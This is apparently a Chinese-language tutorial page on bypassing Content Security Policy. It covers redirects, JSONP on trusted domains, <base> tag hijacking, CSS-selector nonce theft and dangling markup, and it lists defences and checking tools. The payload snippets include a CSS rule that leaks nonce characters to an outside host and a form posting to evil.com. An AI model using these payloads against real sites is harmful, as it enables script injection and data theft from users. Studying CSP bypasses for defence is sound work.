bypass csp
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
csp语法
CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy
default-src
:在其他资源类型没有符合自己的策略时应用该策略(有关完整列表查看default-src
)
strict-dynamic
script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none';
script-src 中 strict-dynamic 中的作用:
- 丢弃白名单
- 允许执行js生成的js代码,例如:document.createElement(‘script’)
- 使 nonce-only CSPs 可以工作
一些注意点
https://cdn.com/*
只能匹配https://cdn.com/*
bypass
csp策略不完全导致的绕过
利用302跳转
Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/
如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。
假设static目录下存在一个302文件
1 | Static/302.php |
像刚才一样,上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行
1 | <script src="static/302.php?url=upload/test.jpg"> |
绕过域限制的一些tricks
Content-Security-Policy: default-src 'self'; script-src 'self'
1 | <link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome) |
利用可信域的资源绕过
很多网站都会将google,baidu……添加到可信域里面,而如果里面存在可控的输出我们便可以绕过csp
常用可控jsonp: https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
bypass nonce
利用<base>
标签
Specify a default URL and a default target for all links on a page:
1 | <head> |
因此我们可以设置个<base>
标签,将相对路径导向恶意的网站
1 | <!-- XSS --> |
1 | alert(0000); |
成功执行
防御方式:
在csp中添加:base-uri ‘none’ 或 base-uri ‘self’
利用chrome bug 来修改script src的值
1 | <!-- XSS --> |
SVG中的set标签可以修改其他标签的属性值
该漏洞在chrome58中修复
steal nonce
via CSS selectors
1 | <!-- XSS --> |
可以联合其他标签来发出请求,如<a>
…
1 | <style>script[nonce^="0"]~a{background:url("http://y5pwcd.ceye.io/success")}</style> |
相关的css 语法
https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Selectors
https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors
via dangling markup attack
破坏原有的结构,将script标签变成文本,诱使用户点击
1 | <!-- XSS --> <form method="post" action="//evil.com/form"> |
JS framework-based CSP Bypasses
利用低版本JQuery等js框架漏洞来绕过csp
绕过实例
一些工具
检查csp: https://csp-evaluator.withgoogle.com/
常用可控jsonp: https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
csp mitigator :一个csp调试工具
参考文章
[Spagnuolo_Hack In Bo - So we broke all CSPs… You won’t guess what happened next!](https://www.hackinbo.it/slides/1494231338_Spagnuolo_Hack In Bo - So we broke all CSPs… You won’t guess what happened next!.pdf)
收藏
Bypassing CSP script nonces via the browser cache: http://sebastian-lekies.de/csp/attacker.php
https://hurricane618.me/2018/06/30/csp-bypass-summary/
https://www.netsparker.com/blog/web-security/private-data-stolen-exploiting-css-injection/
https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/45542.pdf